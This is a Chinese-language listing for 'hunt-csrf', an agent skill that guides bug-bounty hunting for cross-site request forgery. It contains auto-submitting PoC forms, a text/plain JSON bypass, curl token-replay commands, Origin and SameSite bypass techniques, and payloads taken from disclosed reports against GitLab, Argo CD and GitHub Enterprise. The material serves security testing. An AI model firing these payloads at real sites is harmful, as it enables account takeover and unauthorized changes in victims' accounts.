mcpField
H
hunt-csrf

hunt-csrf

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 hunt-csrf

hunt-csrf 是用于发现和验证 Web 状态变更流程中 CSRF 风险的安全测试技能,强调真实浏览器复现、Cookie 行为和实际影响证据。

主要功能

  1. 01梳理状态变更端点
  2. 02评估 SameSite Cookie 行为
  3. 03测试 CSRF 令牌校验与复用
  4. 04构建浏览器验证页面
  5. 05优先评估账户与数据影响

适用场景

  1. 01测试账户设置和邮箱变更
  2. 02评估 OAuth 与社交账户关联流程
  3. 03检查 JSON API 的跨站状态变更

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-csrf

安装后在 Claude Code 中输入/hunt-csrf确认已加载。

详细介绍

适用场景

当目标存在已登录用户可触发的任何状态变更端点时使用,例如账户设置、邮箱变更、社交账户关联、OAuth 流程、API 调用或文件操作上的 POST/PUT/DELETE。CSRF 通过伪造跨源请求,利用网站对用户浏览器的信任。每次表单提交、AJAX 调用、OAuth 回调和 API 变更操作都可能成为攻击目标。价值最高的目标:账户接管途径(OAuth/SSO 流程、社交账户关联)、身份验证基础设施(登录 CSRF、会话固定)、接受跨源 POST 的 JSON API,以及第三方集成(Grafana、监控仪表板)。

⚠️ 严重:curl ≠ 浏览器。应以浏览器安全模型为准。

CSRF PoC 必须能在真实浏览器中运行,而不只是 curl。 浏览器会强制执行 curl 忽略的规则:

浏览器规则curl 行为实际 CSRF 影响
SameSite=Laxcurl 仍会发送 Cookie跨站 POST 时阻止发送 Cookie — 不存在 CSRF
SameSite=Strictcurl 仍会发送 Cookie所有跨站请求都阻止发送 Cookie — 不存在 CSRF
CORS 预检curl 跳过 OPTIONS如果 Content-Type: application/json,浏览器会阻止请求
Sec-Fetch-Site: cross-sitecurl 不会发送此标头服务器可通过此标头拒绝跨站请求

CSRF 验证清单:

  1. ✅ 端点会更改状态(POST/PUT/DELETE)
  2. ✅ Cookie 设置了 SameSite=None,或针对基于 GET 的操作设置了 SameSite=Lax
  3. ✅ 不要求自定义 CSRF 令牌/标头
  4. ✅ PoC 能在真实浏览器中从不同源发起并成功运行

如果第 2 步不满足(POST 端点使用 SameSite=Lax)→ 仅通过 curl 无法利用 CSRF。 SameSite=Lax 允许在顶层导航 GET 请求中携带 Cookie,但不允许跨站 POST。使用 Cookie 的 curl POST 请求成功属于误报 — 浏览器会阻止该请求。

绕过 CSRF 中间件防护:

  • 许多现代 Web 框架(例如默认启用 CSRF 防护的框架)会在缺少 CSRF 令牌或令牌无效时,以 403 Forbidden 响应拒绝 POST、PUT 或 DELETE 等状态变更请求。
  • 在某些应用中,如果相同的 CSRF 中间件未覆盖 PATCH 方法,或对其采用了不同的处理方式,就可能改用 PATCH 执行相同的状态变更操作。如果服务器接受请求但未验证 CSRF 令牌,就可能绕过 CSRF 防护。

SameSite 速查表:

Cookie 属性浏览器发送 Cookie 的情况……
SameSite=None所有跨站请求(需要 Secure)
SameSite=Lax跨站 GET(仅限顶层导航)。阻止 POST
SameSite=Strict仅同站请求。阻止所有跨站请求
未设置(默认值)现代浏览器会按 Lax 处理

核心高价值目标

当 CSRF 影响到会造成账户级或财务后果的状态变更操作时,其价值会大幅提升。回报最高的目标包括:

  • 账户接管途径:OAuth/SSO 流程(RelayState 操纵)、社交账户关联/取消关联(Oculus-Facebook、SocialClub)、会暴露 OAuth 令牌的好友导入功能
  • 身份验证基础设施:登录 CSRF、通过 CSRF 实现会话固定、强制关联账户
  • 接受跨源 POST 的 API 端点:JSON API、心跳/活动 API,以及任何跳过 Content-Type 强制检查的端点
  • 第三方集成:Grafana、监控仪表板、嵌入式分析 — 其 CSRF 防护通常滞后
  • 社交平台:Twitter/X 收藏集、好友导入、社交关系图变更 — 高调用量、经过身份验证且会对真实用户造成影响的操作

回报最高的资产类型: 核心产品身份验证流程 > API 网关 > 运行在子域上的第三方集成 > 管理面板。


攻击面信号

URL 模式
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)
响应标头信号
# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly        # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None   # explicitly allows cross-site

# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true      # dangerous combo
JS / DOM 模式
// Static or predictable CSRF tokens
meta[name="csrf-token"]   // grep if value changes across sessions
authenticity_token        // Rails — check if reused across page loads

// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})

// No CSRF token in form at all
<form method="POST" action="/accounts/link">  // no hidden token field
技术栈信号
  • Rails 应用:查找 authenticity_token — 测试它在会话期间是否固定不变
  • Django 应用:检查 csrfmiddlewaretoken — 测试它是否可跨用户/会话复用
  • Grafana 实例:CVE-2022-21703 — 通过 /api/health 检查版本
  • SAMLv2/OIDC 流程:RelayState 参数很少经过验证
  • Express/Node API:通常会在 /api/* 路由上跳过 CSRF 中间件

分步测试方法

  1. 梳理所有会改变状态的端点 — 爬取已认证会话,筛选 POST/PUT/DELETE/PATCH 请求。记录每个表单和 AJAX 调用。

  2. 检查 Cookie 的 SameSite 属性 — 在 DevTools → Application → Cookies 中查看。标记任何未设置 SameSite=Strict 或 Lax 的会话 Cookie。

  3. 测试令牌是否固定不变 — 登录两次(使用不同会话或无痕模式)。比较以下 authenticity_token / csrfmiddlewaretoken / csrf-token 的值:

    • 同一会话,不同页面加载(值应不同)
    • 同一用户的不同会话
    • 完全不同的用户
  4. 测试省略令牌 — 从 POST 请求中完全移除 CSRF 令牌字段。如果服务器返回 200,则存在 CSRF 漏洞。

  5. 测试令牌替换 — 将令牌替换为来自其他会话的令牌。服务器接受该令牌即表示验证失效。

  6. 测试 JSON 端点是否存在表单 POST CSRF — 检查是否强制要求 Content-Type:

    • 向 JSON 端点发送 application/x-www-form-urlencoded
    • 发送带有 JSON 请求体的 text/plain
    • 如果请求被接受,HTML 表单就能从跨域页面触发该请求
  7. 测试 OAuth/SSO RelayState — 拦截 SAML/OIDC 流程。测试 RelayState 是否经过同源验证。注入外部 URL。

  8. 检查社交账号关联流程 — 测试每个“关联你的 X 账号”功能。这类功能通常使用基于重定向的 OAuth,在回调中发生 CSRF 时,可能会关联攻击者的社交账号。

  9. 测试子域上的第三方仪表板 — Grafana、Kibana、Prometheus。检查版本,应用已知 CVE,并测试默认 CSRF 防护情况。

  10. 构建 PoC HTML 页面 — 将页面托管在不同源上,发送请求,并确认是否发送了 Cookie 以及操作是否执行。


载荷与检测模式

基本 CSRF PoC(表单 POST)
<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/v1/account/link">
    <input type="hidden" name="provider" value="attacker_account_id" />
    <input type="hidden" name="token" value="oauth_token_here" />
  </form>
</body>
</html>
通过 text/plain 发起 JSON CSRF(绕过 Content-Type 检查)
<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/heartbeat"
        enctype="text/plain">
    
    <input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
  </form>
</body>
</html>
curl:测试省略 CSRF 令牌
# Capture a valid request, then replay without token
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/email \
  -H "Cookie: session=YOUR_SESSION" \
  -d "[email protected]" \
  -v 2>&1 | grep -E "HTTP|location|error"
curl:测试跨会话复用令牌
# Get token from session A
TOKEN_A=$(curl --max-time 30 --connect-timeout 10 -s https://target.com/settings -H "Cookie: session=SESSION_A" \
  | grep -Eo 'authenticity_token[^"]*value="\K[^"]+')

# Use token A in session B's request
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/update \
  -H "Cookie: session=SESSION_B" \
  -d "authenticity_token=$TOKEN_A&[email protected]" \
  -v
用于侦察的 Grep 模式
# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'

# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"

# Check SameSite in response headers
curl --max-time 30 --connect-timeout 10 -sI https://target.com/login | grep -i "set-cookie"

# Find RelayState parameters
grep -r "RelayState" --include="*.js" .
Grafana CVE-2022-21703 版本检查
curl --max-time 30 --connect-timeout 10 -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15

常见根本原因

  1. 每个会话使用固定的 CSRF 令牌 — 开发者在登录时生成一个令牌,并重复使用。Airbnb 漏洞:一个会话中的 authenticity_token 在所有页面加载中都相同,因此极易泄露。

  2. 令牌未绑定用户身份 — 令牌在整个服务器范围内有效,或按计划轮换,而非按用户/会话生成。Mozilla 漏洞:csrftoken 可跨用户复用。

  3. “次要”端点缺少令牌 — 开发者保护了登录/注册功能,却忘记了 API 端点、导入流程或 Webhook 处理程序。

  4. 误以为 JSON API 安全 — 认为 Content-Type: application/json 可以防止 CSRF。它确实能通过 CORS 预检实现这一点 — 除非服务器也接受 text/plain 或 application/x-www-form-urlencoded。

  5. 跨站嵌入使用 SameSite=None — 开发者为支持 iframe 嵌入或第三方集成而设置 SameSite=None,无意中重新启用了 CSRF。

  6. 未验证 OAuth RelayState — 开发者实现了 SAML/OIDC,却把 RelayState 当作重定向提示,而非需要通过加密方式绑定的 CSRF 状态参数。

  7. 框架配置错误 — 在 Django/Rails 中,由于认为“API 客户端不需要”,而将 /api/* 路由排除在 CSRF 中间件之外,但基于浏览器的 JS 客户端仍需要它。

  8. 第三方软件的默认配置 — 较早版本的 Grafana、Kibana、Jenkins 的 CSRF 防护薄弱或缺失;团队未及时修补或检查。


绕过技术

防御:SameSite=Lax Cookie

绕过方式: 顶级导航的 GET 请求仍然有效。如果可以通过 GET 触发敏感操作(或者重定向链会将 POST 转换为 GET),Lax 就无法提供保护。另外,子域仍可为父域设置 Cookie。

防御:存在 CSRF 令牌

绕过方式:

  • 令牌在每个会话中都是静态的——可通过 XSS、Referer 泄露或缓存页面窃取
  • 服务端未验证令牌——只需移除令牌并尝试
  • 仅验证令牌长度或格式——提交一个格式正确但伪造的值
  • 令牌与会话绑定,但会话可预测
防御:强制执行 Content-Type: application/json

绕过方式: 使用 text/plain enctype,并精心构造表单输入名称,使其生成有效的 JSON。服务器会收到 JSON 请求体,并跳过 CORS 预检。

防御:检查 Referer/Origin 标头

绕过方式:

  • Null Origin:使用沙盒 iframe(<iframe sandbox="allow-scripts allow-forms">)
  • 子域绕过:如果信任 *.target.com,且你在任一子域上有 XSS
  • Referer 被剥离:HTTPS→HTTP 跳转会剥离 Referer 标头
  • 匹配规则宽松:target.com.evil.com 可通过简单的字符串匹配
防御:双重提交 Cookie 模式

绕过方式: 如果攻击者能够设置 Cookie(子域接管、通过 HTTP 注入 Cookie),就可以将 Cookie 和表单字段都设置为匹配的攻击者可控值。

防御:自定义请求标头(例如 X-Requested-With)

绕过方式: 简单请求(表单 POST、text/plain)不会触发预检,也无法设置自定义标头——但某些服务器只检查标头是否存在,而不检查其值;某些框架也会接受缺少该标头的请求。


第 0 关验证

  1. 攻击者现在能做什么?——攻击者必须能够代替受害者触发特定的状态变更操作(关联账户、更改电子邮件、删除数据、关联社交账户),且受害者除了访问某个 URL 或页面外,无需进行任何交互。

  2. 受害者会失去什么?——明确具体危害:账户访问权(ATO)、数据泄露、经济损失、声誉受损。“缺少 CSRF 令牌”不算影响;“攻击者可以将自己的 Oculus 账户关联到受害者的 Facebook 账户,从而获得完整的个人资料访问权限”才算影响。

  3. 能否从头开始在 10 分钟内复现?——你必须能够在 10 分钟内完成以下所有操作,且无需满足其他前提: (a) 创建攻击者和受害者账户;(b) 托管一个静态 HTML PoC;(c) 让受害者访问 PoC;(d) 确认该操作已在受害者账户中执行。


真实影响示例

场景 1:通过导入好友接管社交账户(Rockstar Games)

攻击者制作了一个恶意页面,针对“导入好友” OAuth 集成。当已登录的 SocialClub 用户访问该页面时,CSRF 会触发 OAuth 令牌交换,并使用攻击者控制的社交账户。受害者的 SocialClub 账户会被永久关联到攻击者的 Facebook/社交身份,使攻击者能够在受害者不知情的情况下完全访问其账户。由于这条路径会导致账户完全受损,因此严重性评级为高。

场景 2:通过 Oculus 集成 CSRF 劫持 Facebook 账户

在 Oculus 与 Facebook 账户关联过程中,OAuth 回调缺少适当的 CSRF state 验证。攻击者可以制作一个 URL;当已登录 Facebook 且已开始 Oculus 关联流程的用户加载该 URL 时,攻击者的 Oculus 设备凭据就会与受害者的 Facebook 账户关联。随后,攻击者便可通过 Oculus 应用持续访问受害者的 Facebook 个人资料。此攻击只要求受害者在登录 Facebook 时点击一个链接。

场景 3:心跳/活动跟踪中的 JSON API CSRF

开发人员认为,接受 application/json 的 POST 端点不受 CSRF 攻击。研究人员构造了一个 HTML 表单,使用 enctype="text/plain",并设计了一个输入项名称,使提交时生成语法有效的 JSON。浏览器跨源发送了请求,且无需预检(没有自定义标头,text/plain 属于简单请求);请求中附带了 Cookie,服务器则将 JSON 请求体作为合法数据处理,在受害者的账户身份下悄悄记录了攻击者控制的活动数据。

已披露报告引用(补充 +5 — 2020-2024)

以下真实且经过验证的漏洞赏金/协同披露案例扩展了此技能。其中四个案例通过 CSRF 链接到完整账户接管(ATO);五个案例均为现代案例(SameSite 时代)。

  1. Argo CD — 通过同级子域名绕过 SameSite=Lax + 滥用 Content-Type(CVE-2024-22424) (GHSA-92mw-q256-5vwg · 分析文章)

    • 子类:SameSite=None/Lax 配置错误链——利用同一父域名绕过 + 因缺少 Content-Type 强制检查而实现 JSON CSRF
    • 攻击载荷:托管于 marketing.victim.com,目标为 argocd.internal.victim.com → fetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{"metadata":{"name":"pwn"},"spec":{"source":{"repoURL":"https://attacker/manifest.git"}}}'})
    • 根本原因:Argo CD 未强制要求 Content-Type: application/json;当攻击者控制共享父域名下的任意同级子域名时,SameSite=Lax 形同虚设
    • 年份:2023 年报告,2024 年 1 月在 2.7.16/2.8.8/2.9.4 中修复
  2. GitLab — 通过转换为 GET 的变更操作,对 /api/graphql 发起 CSRF (H1 #1122408)

    • 子类:GET 状态变更端点(通过 GET 请求执行 GraphQL 变更操作)
    • 攻击载荷:<img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}">
    • 根本原因:HTTP 方法为 GET 时,后端跳过了 X-CSRF-Token 验证;GraphQL 接受通过 ?query=mutation{...} 查询字符串提交的变更操作
    • 年份:2021 — $3,370
  3. Stripe Dashboard — 代码变更导致 CSRF 中间件被禁用 (H1 #1483327)

    • 子类:框架配置错误——全局禁用中间件
    • 攻击载荷:<form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form> + 自动提交脚本
    • 根本原因:2022-02-14 的部署意外关闭了所有 Stripe Dashboard 端点上的 CSRF 中间件
    • 年份:2022 — $5,000($2,500 × 2 名研究人员)
  4. GitHub Enterprise Server — 通过路径遍历绕过 CSRF(CVE-2022-23732) (H1 #1497169)

    • 子类:绕过 CSRF 令牌验证(通过路径遍历将请求绕过令牌检查)
    • 攻击载荷:<form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form>
    • 根本原因:路由器在执行时匹配路径遍历后的路径,却在确定 CSRF 保护范围时匹配遍历前的路径,因此无需有效令牌即可访问受保护端点
    • 年份:2022 — $10,000
  5. HackerOne 自身 — 社交账户关联中的 CSRF → ATO (H1 #1727221)

    • 子类:账户关联 CSRF(关联社交账户提供商时未绑定 state)
    • 攻击载荷:<img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE"> — 受害者的浏览器完成由攻击者发起的关联流程
    • 根本原因:绑定到 OAuth 关联回调的令牌被重复使用,或未绑定到用户,因此攻击者发起的关联回调会在受害者的会话中被接受——攻击者的 Google 账户因此成为有效的登录方式 = ATO
    • 年份:2022 — 在 H1 自身计划中属于信息级范围,但有公开 PoC

Duende BFF — 按角色分区的反伪造机制(2024-2026 年功能概况)

Duende BFF(IdentityServer4 的商业后继产品)是用于 SPA 的规范 ASP.NET Core BFF 库。其反伪造机制非标准且不绑定用户:Duende 不使用 ASP.NET Core 的按会话/按用户双重提交令牌,而只要求每个映射到 BFF 的端点都带有静态标头 X-CSRF: 1。所有调用者的标头值都相同;它的唯一作用是在跨源调用时触发 CORS 预检。这使 CSRF 防御简化为“同源 + 存在会话 Cookie”,当一个 BFF 为多个权限分区提供服务时,会产生几种不同的攻击模式。

**架构简介:**浏览器↔BFF 通过加密的 HttpOnly 会话 Cookie(默认 .AspNetCore.Cookies)进行身份验证;BFF↔API 使用缓存在服务端的 OAuth 令牌。通过 MapBffManagementEndpoints / MapRemoteBffApiEndpoint / MapBffApiEndpoint 注册的端点会检查 X-CSRF: 1 和会话是否存在,不会检查其他内容。(docs.duendesoftware.com/bff,Duende blog Mar 2025)

攻击类别 1 — X-CSRF: 1 不绑定用户,因此同源跨角色重放可成功

当一个 BFF 同时为 /admin/* 和 /user/* 分区提供服务时,反伪造机制无法区分角色 A 和角色 B。只要受害者具有管理员角色,任何能够发出带有 X-CSRF: 1 的 XHR 并携带受害者会话 Cookie 的同源脚本,都能访问管理员端点。标准 ASP.NET Core 反伪造机制(会将令牌绑定到 HttpContext.User.Identity.Name,并在身份变更时拒绝请求)在这里能正确处理;Duende BFF 则不能。(docs.duendesoftware.com/bff/fundamentals/options)

**载荷形式:**从已登录的低权限会话发起 fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}}) — 如果受害者的会话恰好具有管理员角色,且攻击者能够注入任意同源脚本(自行触发的 XSS、子域名接管后的 JS、依赖混淆),请求就会成功。

攻击类别 2 — SignalR/WebSocket 例外路径(/negotiate 快捷方式)

浏览器 WebSocket 无法发送自定义标头,因此无法在升级连接时强制要求 X-CSRF: 1。开发者经常通过将 SignalR Hub 路径排除在 BFF 反伪造机制之外来解决这个问题(MapHub<X>().DisableAntiforgery(),或将它们注册为非 BFF 端点)。排除后,任何同站点来源(包括被接管的相邻子域名或存储型 XSS 页面)都能通过附带的会话 Cookie 建立 WS 连接 → 利用 WebSocket 发起 CSRF,调用会修改状态的 Hub 方法。

**载荷形式:**跨源页面打开 new WebSocket("wss://bff.example.com/hubs/admin") — 浏览器会发送会话 Cookie,无需 X-CSRF,攻击者可通过标准 SignalR JSON 帧调用 DeleteUser(id)。(DuendeArchive/Support#972,learn.microsoft.com/aspnet/core/signalr/security)

攻击类别 3 — Cookie 域名通配符将子域名接管变为会话固定攻击

BFF 会话 Cookie 默认仅限当前主机,但开发者通常会覆盖设置 options.Cookie.Domain = ".example.com",以便在 app.example.com 和 admin.example.com 之间共享登录状态。这会移除 __Host- 前缀保护。接管 legacy.example.com(CNAME 指向已取消配置的 Heroku/S3)→ 设置 Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com → 受害者访问 app.example.com 时携带攻击者的会话 = 会话固定导致账户接管(ATO)。(nestenius.se BFF cookie hardening)

证据强度

截至 2026-05,不存在直接影响 Duende.BFF 的 CVE。上述三类问题属于设计层面/有文档记录的行为;当它们与同源原语(同源脚本执行、SignalR 例外或子域名接管)结合时,就会成为实际发现的问题。报告严重性时,应侧重攻击链的业务影响,而不是引用 CVE。Duende 生态中已确认的相邻 CVE:CVE-2025-26620(Duende.AccessTokenManagement 竞争条件)、CVE-2024-51987(Duende.AccessTokenManagement.OpenIdConnect 刷新后使用了错误的令牌)、CVE-2024-39694(Duende.IdentityServer 开放重定向)。(Duende 在 GitHub 上发布的安全公告)

狩猎检查清单
  1. curl --max-time 30 --connect-timeout 10 https://target/bff/user -H 'X-CSRF: 1' -b '<session>' — 导出完整的声明集,包括内部 ID、角色名称和租户 ID(单独来看属于信息泄露)。
  2. 检查 /bff/login 回调中的 Set-Cookie — 标记 Domain= 属性(相较于 __Host- 前缀);标记缺少 Secure/HttpOnly 的情况。
  3. 使用低权限会话,向管理员分区的 POST 请求重放 X-CSRF: 1,确认令牌未绑定具体角色。
  4. 枚举 SignalR/WS 中心(/hubs/*、/signalr/*)— 不带 X-CSRF 访问;如果返回 101 Switching Protocols,则 CSWSH 类攻击可行。
  5. 若 BFF Cookie 含有 Domain=.example.com,则盘点子域名并扫描 DNS 接管风险,检查所有 *.example.com。

验证

  1. CSRF 表单生成 — 验证 HTML 表单模板:
    echo '<form method="POST" action="https://target.com/endpoint"><input name="csrf_test" value="1"></form>' | grep -q "form method" && echo "PASS" || echo "FAIL"
    
  2. SameSite Cookie 检测 — 确认能识别 SameSite:
    echo "Set-Cookie: session=abc; SameSite=Lax" | grep -q "SameSite" && echo "PASS: SameSite recognized" || echo "FAIL"
    

所有测试都会验证 CSRF 探测。


注意事项

  • 注销时的 CSRF — 注销 CSRF 至多只能作为信息性问题。除非与会话固定攻击结合,否则没有实际影响。
  • 对 SameSite=Lax 绕过的假设 — 在顶层 GET 导航中会发送 Lax Cookie。通过表单 GET 发起的 CSRF 仍可能奏效。
  • 未进行验证测试的反 CSRF 令牌 — 移除令牌后收到 200,并不能证明缺少验证。端点可能使用其他机制(双提交 Cookie、自定义标头)。
  • 绕过 Content-Type 检查 — 如果服务器只检查 Content-Type: application/json,可尝试使用 JSON 请求体并设置 text/plain,或使用带有类 JSON 结构的表单编码。
  • 绕过 CORS 预检 ≠ CSRF — 绕过 CORS 的 OPTIONS 预检并不会自动启用 CSRF。这是不同的攻击类型。

相关技能与攻击链

  • hunt-xss — 可信来源上的任何 XSS 都能立即使 CSRF 防御(令牌、SameSite、Origin 检查)失效。攻击链原语:XSS 读取 meta[name=csrf-token] 的值,并通过同源 fetch 向 /accounts/email 发送攻击者负载 → 攻击者页面通过 postMessage 触发存储型 XSS 执行状态更改,一键实现 ATO。
  • hunt-auth-bypass — CSRF 与身份验证绕过原语结合后,攻击者侧脚本就能执行本应需要更高级别身份验证的状态更改。攻击链原语:针对 /settings/password 的 CSRF 到达跳过重新身份验证检查的端点 → 无需受害者输入当前密码即可更改密码 → ATO。
  • hunt-oauth — OAuth/SAML 的 state/RelayState 在结构上属于 CSRF 令牌;此处缺少验证即为账户关联 CSRF。攻击链原语:攻击者在自己的账户上发起 OAuth,再将 /callback?code=X&state= URL 发送给受害者 → 受害者已登录的浏览器完成关联 → 攻击者的社交身份由此控制受害者账户。
  • security-arsenal — 从头编写之前,先使用 CSRF PoC 模板(表单 POST、enctype=text/plain JSON、沙盒 iframe 的 null-origin、base64 multipart 绕过);还可使用针对 Origin/Referer 检查的 WAF 绕过标头变体。
  • triage-validation — 在提交针对注销端点或任何不会造成状态变更的操作的 CSRF 问题前,先运行 Pre-Severity Gate — 这些是典型的 N/A 陷阱。确认受害者确实会失去具体利益(账户访问权、资金、数据),而不只是“执行了一个请求”。

评论

支持 Markdown